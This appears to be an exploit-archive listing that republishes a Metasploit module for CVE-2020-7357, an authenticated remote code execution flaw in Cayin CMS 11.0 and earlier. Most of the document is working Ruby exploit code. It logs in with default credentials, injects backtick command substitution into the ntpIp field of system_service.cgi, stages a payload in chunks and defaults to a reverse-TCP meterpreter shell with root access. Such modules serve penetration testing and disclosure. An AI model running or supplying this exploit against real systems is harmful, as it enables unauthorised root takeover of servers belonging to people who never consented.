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Cayin CMS NTP Server 11.0 Remote Code Execution

Cayin CMS NTP Server 11.0 Remote Code Execution
Posted Jun 18, 2020
Authored by LiquidWorm, h00die | Site metasploit.com

This Metasploit module exploits an authenticated remote code execution vulnerability in Cayin CMS versions 11.0 and below. The code execution is executed in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so repeated requests are made to achieve a larger payload. Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the environment should be pretty set and not dynamic between targets. Results in root level access.

tags | exploit, remote, cgi, root, code execution
systems | linux, ubuntu
advisories | CVE-2020-7357
MD5 | 5b71abbf1e64c3cce0a48cc8d48f03b0

Cayin CMS NTP Server 11.0 Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cayin CMS NTP Server RCE',
'Description' => %q{
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
repeated requests are made to achieve a larger payload.
Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
environment should be pretty set and not dynamic between targets.
Results in root level access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Gjoko Krstic (LiquidWorm) <gjoko@zeroscience.mk>' # original PoC, discovery
],
'References' =>
[
[ 'EDB', '48553' ],
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
[ 'CVE', '2020-7357' ]
],
'Platform' => ['linux'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
},
'Privileged' => true,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'Jun 4 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),
OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),
OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),
# from the original advisory, leaving here just in case
# OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])
# OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
)

if res.nil? || res.code != 200
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end

if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
print_good('Cayin CMS install detected')
return CheckCode::Detected
end

CheckCode::Safe
rescue ::Rex::ConnectionError
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end

def login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'apply_mode' => 'login',
'lang' => 'ENG',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?

# instead of a 302 like most apps, this does a script window.location to forward...
unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
end

res.get_cookies
end

def execute_command(cmd, _opts = {})
# originally attempted to use the 'test' functionality, however it attempts 3 times which
# means our exploit code stage chunks are written 3 times.
# also attempted to just 'save', however it doesn't execute an update.
# 'update' was the prefered functionality
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),
'method' => 'POST',
'cookie' => "#{@cookie} sys=Service",
'vars_post' => {
'exe' => 'webSvrUpdateNtp',
'ntpIp' => "`#{cmd}`"

# test button, executes 3 times
# 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs
# 'ntpIp' => "`#{cmd}`"

# save button, but doesnt execute
# 'save' => 'webSvrNtp',
# 'ntpIp' => "`#{cmd}`",
# 'ntpEnable' => 1,
# 'ntp_server' => 0
}
)
end

def exploit
if check != CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

@cookie = login
execute_cmdstager(flavor: :printf, linemax: 200)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end
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